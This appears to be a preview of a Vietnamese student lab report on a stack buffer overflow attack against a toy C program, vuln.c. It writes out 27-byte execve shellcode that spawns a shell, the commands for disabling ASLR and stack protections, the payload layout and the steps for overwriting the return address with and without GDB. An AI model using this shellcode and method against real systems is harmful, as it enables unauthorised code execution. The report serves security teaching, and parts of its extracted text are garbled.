



Preview text:
1. Đề bài:
- Thực hiện tấn công buffer overflow chương trình vuln.c, code có ở github.
- SV tự chọn giá trị của buffer từ 80 - 512 (không lấy giá trị 64).
- Chụp màn hình các bước thực hiện + giải thích. - Nộp file PDF.
Chương trình cần tấn công: #include #include
int main(int argc, char* argv[]) { char buf[20 ] 4 ; if (argc==1)
printf("missing argument\n"); else strcpy(buf,argv[1]);
printf("buf: 0x%x\n",(unsigned int)buf); return 0; } 2. Ý tưởng
- Dùng 1 đoạn shellcode với dãy hexx là:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\
x31\xd2\x31\xc0\xb0\x0b\xcd\x80”
- Viết đè shellcode lên biến ‘char buf[204]’ và khéo léo ghi đè cả return address ở
thanh ghi EIP thành địa chỉ bắt đầu của shell code (vị trí bắt đầu của buf[204]) High … Return Address (Eip) Ebp
Lấy địa chỉ bắt đầu của Buf[204]
Buf[204] (shellcode) ghi …
đè lên ReturnAddress … ESP Buf[204] Low Stack
Stack của chương trình khi đư c ợ nạp Giải thích: N
hững local value của hàm main sẽ được nạp vào trước, tiếp theo là Eb p
được push vào, sau đó sẽ là return address (Eip) và các argument được truyền vào.
3. Thực hiện:
- Trước khi tấn công, chúng ta cần điều chỉnh và tắt 1 số chức năng bảo vệ của hệ điều hành:
Tắt chế độ cấp phát địa chỉ stack ngẫu nhiên.
(sudo sysctl -w kernel.randomization_va_space=0)
Biên dịch chương trình với các option tắt cơ chế bảo vệ stack và cho phép thực thi code trên stack.
(-fno-stack-protector -z execstack -mpreferred-stack-boundary=2)
Liên kết tới zsh thay vì dash mặc định nhằm tắt tính năng bash
countermeasures của Ubuntu 16.04.
(sudo ln -sf /bin/zsh /bin/sh)
Thực hiện dùng GDB
✓ Bước 1: Tìm chiều dài của buf[], ở đây ta đã chọn là [204] nên không cần thực hiện bước này.
✓ Bước 2: Tìm địa chỉ bắt đầu của shellcode và thực hiện tấn công.
+ Vào GDB -> đặt breakpoit tại vị trí gần cuối chương trình (*main +71)
+ Run chương trình với buf tấn công: 27byte shellcode + (204-27)byte giá
trị a+ (4 byte) b cho ebp + ‘\xff\xff\xff\xff’ và sau đó xem giá trị của stack
➔ Khi tìm được địa chỉ của shellcode sẽ thay vào \xff\xff\xff\xff (vị trí Eip
hay địa chỉ trả về của stack) Địa chỉ bắt đầu của shellcode 204 – 27 = 177 byte ‘a’ 4 byte ‘b’ (Ebp) 4 byte địa chỉ trả về (mục tiêu để ta ghi đè) + Dùng câu lệnh:
set *0xffffdc2c = 0xffffdb5c
(ghi đè Eip = địa chỉ của
shellcode bắt đầu từ địa chỉ 0xffffdc2c) Ghi đè thành công
Kết quả: Chạy được 1 shell mới.
Thực hiện không dùng GDB
Bước 1: Tìm địa chỉ bắt đầu shellcode (địa chỉ buf[204]) dùng câu lệnh
printf("buf: 0x%x\n",(unsigned int)buf) và đảm bảo rằng địa chỉ của buf
không thay đổi mỗi lần chạy.
➢ Ta sẽ sử dụng chuỗi buffer nhập vào: “27byte shellcode” + “177byte
giá trị bất kỳ” (buffer) + “4byte giá trị bất kỳ” (ebp) + “4byte địa chỉ
bất kỳ” (return address)
Bước 2: Thực hiện tấn công với dòng lệnh thay thế 4byte địa chỉ bất kỳ
bằng địa chỉ của buf.
“27byte shellcode” + “177byte giá trị bất kỳ” + “4byte giá trị bất kỳ”
(ebp) + “\xcc\xdb\xff\xff” (return address)
Và ta nhận được kết quả tương tự.